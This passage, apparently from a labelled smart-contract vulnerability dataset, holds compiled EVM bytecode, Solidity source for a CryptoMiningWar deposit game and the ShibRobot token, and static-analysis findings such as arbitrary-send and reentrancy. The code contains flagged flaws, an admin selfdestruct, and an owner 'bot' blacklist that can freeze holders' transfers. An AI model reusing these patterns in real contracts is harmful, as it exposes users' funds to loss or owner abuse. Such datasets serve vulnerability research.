90565b600080fd5b600080fd5b6000819050919050565b61411a81614107565b811461412557600080fd5b50565b60008135905061413781614111565b92915050565b600060208284031215614153576141526140fd565b5b600061416184828501614128565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156141a4578082015181840152602081019050614189565b838111156141b3576000848401525b50505050565b6000601f19601f8301169050919050565b60006141d58261416a565b6141df8185614175565b93506141ef818560208601614186565b6141f8816141b9565b840191505092915050565b6000602082019050818103600083015261421d81846141ca565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061425082614225565b9050919050565b61426081614245565b811461426b57600080fd5b50565b60008135905061427d81614257565b92915050565b6000806040838503121561429a576142996140fd565b5b60006142a88582860161426e565b92505060206142b985828601614128565b9150509250929050565b60008115159050919050565b6142d8816142c3565b82525050565b60006020820190506142f360008301846142cf565b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61432e81614107565b82525050565b60808201600082015161434a6000850182614325565b50602082015161435d6020850182614325565b5060408201516143706040850182614325565b5060608201516143836060850182614325565b50505050565b60006143958383614334565b60808301905092915050565b6000602082019050919050565b60006143b9826142f9565b6143c38185614304565b93506143ce83614315565b8060005b838110156143ff5781516143e68882614389565b97506143f1836143a1565b9250506001810190506143d2565b5085935050505092915050565b6000602082019050818103600083015261442681846143ae565b905092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61446b826141b9565b810181811067ffffffffffffffff8211171561448a57614489614433565b5b80604052505050565b600061449d6140f3565b90506144a98282614462565b919050565b600067ffffffffffffffff8211156144c9576144c8614433565b5b602082029050602081019050919050565b600080fd5b60006144f26144ed846144ae565b614493565b90508083825260208201905060208402830185811115614515576145146144da565b5b835b8181101561453e578061452a888261426e565b845260208401935050602081019050614517565b5050509392505050565b600082601f83011261455d5761455c61442e565b5b813561456d8482602086016144df565b91505092915050565b600080600080600080600060e0888a031215614595576145946140fd565b5b600088013567ffffffffffffffff8111156145b3576145b2614102565b5b6145bf8a828b01614548565b97505060206145d08a828b0161426e565b96505060406145e18a828b01614128565b95505060606145f28a828b01614128565b94505060806146038a828b01614128565b93505060a06146148a828b01614128565b92505060c06146258a828b01614128565b91505092959891949750929550565b61463d81614107565b82525050565b60006020820190506146586000830184614634565b92915050565b600080600060608486031215614677576146766140fd565b5b60006146858682870161426e565b93505060206146968682870161426e565b92505060406146a786828701614128565b9150509250925092565b600060ff82169050919050565b6146c7816146b1565b82525050565b60006020820190506146e260008301846146be565b92915050565b6000602082840312156146fe576146fd6140fd565b5b600061470c8482850161426e565b91505092915050565b60008060006060848603121561472e5761472d6140fd565b5b600061473c86828701614128565b935050602061474d86828701614128565b925050604061475e86828701614128565b9150509250925092565b61477181614245565b82525050565b600060208201905061478c6000830184614768565b92915050565b6080820160008201516147a86000850182614325565b5060208201516147bb6020850182614325565b5060408201516147ce6040850182614325565b5060608201516147e16060850182614325565b50505050565b60006080820190506147fc6000830184614792565b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61483781614245565b82525050565b6000614849838361482e565b60208301905092915050565b6000602082019050919050565b600061486d82614802565b614877818561480d565b93506148828361481e565b8060005b838110156148b357815161489a888261483d565b97506148a583614855565b925050600181019050614886565b5085935050505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b60006148f88383614325565b60208301905092915050565b6000602082019050919050565b600061491c826148c0565b61492681856148cb565b9350614931836148dc565b8060005b8381101561496257815161494988826148ec565b975061495483614904565b925050600181019050614935565b5085935050505092915050565b600060408201905081810360008301526149898185614862565b9050818103602083015261499d8184614911565b90509392505050565b600080604083850312156149bd576149bc6140fd565b5b60006149cb8582860161426e565b92505060206149dc8582860161426e565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614a1b816142c3565b82525050565b606082016000820151614a37600085018261482e565b506020820151614a4a6020850182614325565b506040820151614a5d6040850182614a12565b50505050565b6000614a6f8383614a21565b60608301905092915050565b6000602082019050919050565b6000614a93826149e6565b614a9d81856149f1565b9350614aa883614a02565b8060005b83811015614ad9578151614ac08882614a63565b9750614acb83614a7b565b925050600181019050614aac565b5085935050505092915050565b60006040820190508181036000830152614b008185614a88565b90508181036020830152614b148184614a88565b90509392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614b53602083614175565b9150614b5e82614b1d565b602082019050919050565b60006020820190508181036000830152614b8281614b46565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614bd057607f821691505b60208210811415614be457614be3614b89565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614c2482614107565b9150614c2f83614107565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c6457614c63614bea565b5b828201905092915050565b6000614c7a82614107565b9150614c8583614107565b925082821015614c9857614c97614bea565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4c697175696469747920616c72656164792061646465642e0000000000000000600082015250565b6000614d08601883614175565b9150614d1382614cd2565b602082019050919050565b60006020820190508181036000830152614d3781614cfb565b9050919050565b600081519050614d4d81614257565b92915050565b600060208284031215614d6957614d686140fd565b5b6000614d7784828501614d3e565b91505092915050565b6000604082019050614d956000830185614768565b614da26020830184614768565b9392505050565b6000819050919050565b6000819050919050565b6000614dd8614dd3614dce84614da9565b614db3565b614107565b9050919050565b614de881614dbd565b82525050565b600060c082019050614e036000830189614768565b614e106020830188614634565b614e1d6040830187614ddf565b614e2a6060830186614ddf565b614e376080830185614768565b614e4460a0830184614634565b979650505050505050565b600081519050614e5e81614111565b92915050565b600080600060608486031215614e7d57614e7c6140fd565b5b6000614e8b86828701614e4f565b9350506020614e9c86828701614e4f565b9250506040614ead86828701614e4f565b9150509250925092565b6000604082019050614ecc6000830185614768565b614ed96020830184614634565b9392505050565b614ee9816142c3565b8114614ef457600080fd5b50565b600081519050614f0681614ee0565b92915050565b600060208284031215614f2257614f216140fd565b5b6000614f3084828501614ef7565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614f6f601b83614175565b9150614f7a82614f39565b602082019050919050565b60006020820190508181036000830152614f9e81614f62565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000615001602483614175565b915061500c82614fa5565b604082019050919050565b6000602082019050818103600083015261503081614ff4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000615093602283614175565b915061509e82615037565b604082019050919050565b600060208201905081810360008301526150c281615086565b9050919050565b600060a0820190506150de6000830188614634565b6150eb6020830187614ddf565b81810360408301526150fd8186614862565b905061510c6060830185614768565b6151196080830184614634565b9695505050505050565b600061512e82614107565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561516157615160614bea565b5b600182019050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006151c8602583614175565b91506151d38261516c565b604082019050919050565b600060208201905081810360008301526151f7816151bb565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061525a602983614175565b9150615265826151fe565b604082019050919050565b600060208201905081810360008301526152898161524d565b9050919050565b60006080820190506152a56000830187614768565b6152b26020830186614768565b6152bf6040830185614768565b6152cc6060830184614768565b95945050505050565b7f42656570204265657020426f6f702c20596f752772652061207069656365206f60008201527f6620706f6f700000000000000000000000000000000000000000000000000000602082015250565b6000615331602683614175565b915061533c826152d5565b604082019050919050565b6000602082019050818103600083015261536081615324565b9050919050565b600060608201905061537c6000830186614768565b6153896020830185614768565b6153966040830184614768565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006153d882614107565b91506153e383614107565b9250826153f3576153f261539e565b5b828204905092915050565b600061540982614107565b915061541483614107565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561544d5761544c614bea565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006154b4602183614175565b91506154bf82615458565b604082019050919050565b600060208201905081810360008301526154e3816154a7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064b7fe463d15043a76755fec2008608bb49db036f7b584d7dd521acc3f90f4b164736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,865
0x43d2b8827218752ffe5a35cefc3bbe50ca79af47
pragma solidity ^0.4.25; /* * CryptoMiningWar - Blockchain-based strategy game * Author: InspiGames * Website: https://cryptominingwar.github.io/ */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract CryptoEngineerInterface { uint256 public prizePool = 0; function subVirus(address /*_addr*/, uint256 /*_value*/) public {} function claimPrizePool(address /*_addr*/, uint256 /*_value*/) public {} function isContractMiniGame() public pure returns( bool /*_isContractMiniGame*/) {} function isEngineerContract() external pure returns(bool) {} } contract CryptoMiningWarInterface { uint256 public deadline; function subCrystal( address /*_addr*/, uint256 /*_value*/ ) public {} function isMiningWarContract() external pure returns(bool) {} } interface MiniGameInterface { function isContractMiniGame() external pure returns( bool _isContractMiniGame ); } contract CrystalDeposit { using SafeMath for uint256; address public administrator; // mini game uint256 public HALF_TIME = 48 hours; uint256 public MIN_TIME_WITH_DEADLINE = 12 hours; uint256 public round = 0; CryptoEngineerInterface public Engineer; CryptoMiningWarInterface public MiningWar; // mining war info address miningWarAddress; uint256 miningWarDeadline; uint256 constant private CRTSTAL_MINING_PERIOD = 86400; /** * @dev mini game information */ mapping(uint256 => Game) public games; /** * @dev player information */ mapping(address => Player) public players; mapping(address => bool) public miniGames; struct Game { uint256 round; uint256 crystals; uint256 prizePool; uint256 startTime; uint256 endTime; bool ended; } struct Player { uint256 currentRound; uint256 lastRound; uint256 reward; uint256 share; // your crystals share in current round } event EndRound(uint256 round, uint256 crystals, uint256 prizePool, uint256 startTime, uint256 endTime); event Deposit(address player, uint256 currentRound, uint256 deposit, uint256 currentShare); modifier isAdministrator() { require(msg.sender == administrator); _; } modifier disableContract() { require(tx.origin == msg.sender); _; } constructor() public { administrator = msg.sender; // set interface contract setMiningWarInterface(0x1b002cd1ba79dfad65e8abfbb3a97826e4960fe5); setEngineerInterface(0xd7afbf5141a7f1d6b0473175f7a6b0a7954ed3d2); } function () public payable { } /** * @dev MainContract used this function to verify game&#39;s contract */ function isContractMiniGame() public pure returns( bool _isContractMiniGame ) { _isContractMiniGame = true; } function isDepositContract() public pure returns(bool) { return true; } function upgrade(address addr) public isAdministrator { selfdestruct(addr); } function setContractsMiniGame( address _addr ) public isAdministrator { MiniGameInterface MiniGame = MiniGameInterface( _addr ); if( MiniGame.isContractMiniGame() == false ) { revert(); } miniGames[_addr] = true; } /** * @dev remove mini game contract from main contract * @param _addr mini game contract address */ function removeContractMiniGame(address _addr) public isAdministrator { miniGames[_addr] = false; } /** * @dev Main Contract call this function to setup mini game. */ function setupMiniGame( uint256 /*_miningWarRoundNumber*/, uint256 _miningWarDeadline ) public { require(msg.sender == miningWarAddress); miningWarDeadline = _miningWarDeadline; } function setMiningWarInterface(address _addr) public isAdministrator { CryptoMiningWarInterface miningWarInterface = CryptoMiningWarInterface(_addr); require(miningWarInterface.isMiningWarContract() == true); miningWarAddress = _addr; MiningWar = miningWarInterface; } function setEngineerInterface(address _addr) public isAdministrator { CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr); require(engineerInterface.isEngineerContract() == true); Engineer = engineerInterface; } /** * @dev start the mini game */ function startGame() public isAdministrator { // require(miningWarDeadline == 0); miningWarDeadline = MiningWar.deadline(); games[round].ended = true; startRound(); } function startRound() private { require(games[round].ended == true); uint256 crystalsLastRound = games[round].crystals; uint256 prizePoolLastRound= games[round].prizePool; round = round + 1; uint256 startTime = now; if (miningWarDeadline < SafeMath.add(startTime, MIN_TIME_WITH_DEADLINE)) startTime = miningWarDeadline; uint256 endTime = startTime + HALF_TIME; // claim 5% of current prizePool as rewards. uint256 engineerPrizePool = getEngineerPrizePool(); uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100); Engineer.claimPrizePool(address(this), prizePool); if (crystalsLastRound == 0) prizePool = SafeMath.add(prizePool, prizePoolLastRound); games[round] = Game(round, 0, prizePool, startTime, endTime, false); } function endRound() private { require(games[round].ended == false); require(games[round].endTime <= now); Game storage g = games[round]; g.ended = true; startRound(); emit EndRound(g.round, g.crystals, g.prizePool, g.startTime, g.endTime); } /** * @dev player send crystals to the pot */ function share(uint256 _value) public disableContract { require(games[round].ended == false); require(games[round].startTime <= now); require(_value >= 1); MiningWar.subCrystal(msg.sender, _value); if (games[round].endTime <= now) endRound(); updateReward(msg.sender); Game storage g = games[round]; uint256 _share = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD); g.crystals = SafeMath.add(g.crystals, _share); Player storage p = players[msg.sender]; if (p.currentRound == round) { p.share = SafeMath.add(p.share, _share); } else { p.share = _share; p.currentRound = round; } emit Deposit(msg.sender, p.currentRound, _value, p.share); } function getCurrentReward(address _addr) public view returns(uint256 _currentReward) { Player memory p = players[_addr]; _currentReward = p.reward; _currentReward += calculateReward(_addr, p.currentRound); } function withdrawReward(address _addr) public { // require(miniGames[msg.sender] == true); if (games[round].endTime <= now) endRound(); updateReward(_addr); Player storage p = players[_addr]; uint256 balance = p.reward; if (address(this).balance >= balance && balance > 0) { _addr.transfer(balance); // update player p.reward = 0; } } function updateReward(address _addr) private { Player storage p = players[_addr]; if ( games[p.currentRound].ended == true && p.lastRound < p.currentRound ) { p.reward = SafeMath.add(p.reward, calculateReward(_addr, p.currentRound)); p.lastRound = p.currentRound; } } function getData(address _addr) public view returns( // current game uint256 _prizePool, uint256 _crystals, uint256 _startTime, uint256 _endTime, // player info uint256 _reward, uint256 _share ) { (_prizePool, _crystals, _startTime, _endTime) = getCurrentGame(); (_reward, _share) = getPlayerData(_addr); } /** * @dev calculate reward */ function calculateReward(address _addr, uint256 _round) public view returns(uint256) { Player memory p = players[_addr]; Game memory g = games[_round]; if (g.endTime > now) return 0; if (g.crystals == 0) return 0; if (p.lastRound >= _round) return 0; return SafeMath.div(SafeMath.mul(g.prizePool, p.share), g.crystals); } function getCurrentGame() private view returns(uint256 _prizePool, uint256 _crystals, uint256 _startTime, uint256 _endTime) { Game memory g = games[round]; _prizePool = g.prizePool; _crystals = g.crystals; _startTime = g.startTime; _endTime = g.endTime; } function getPlayerData(address _addr) private view returns(uint256 _reward, uint256 _share) { Player memory p = players[_addr]; _reward = p.reward; if (p.currentRound == round) _share = players[_addr].share; if (p.currentRound != p.lastRound) _reward += calculateReward(_addr, p.currentRound); } function getEngineerPrizePool() private view returns(uint256) { return Engineer.prizePool(); } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,866
0x4dd694e5c5ea66a6071c671937124153f2fe0409
/** *Submitted for verification at Etherscan.io on 2021-06-04 */ //Shib Robot (SHIBROBOT) //Limit Buy yes //Cooldown yes //Bot Protect yes //Deflationary yes //Fee yes //Liqudity dev provides and lock //TG: https://t.me/shibrobotofficial //Website: TBA //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibRobot is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shib Robot"; string private constant _symbol = "SHIBROBOT \xF0\x9F\x90\x95"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600a81526020017f5368696220526f626f7400000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000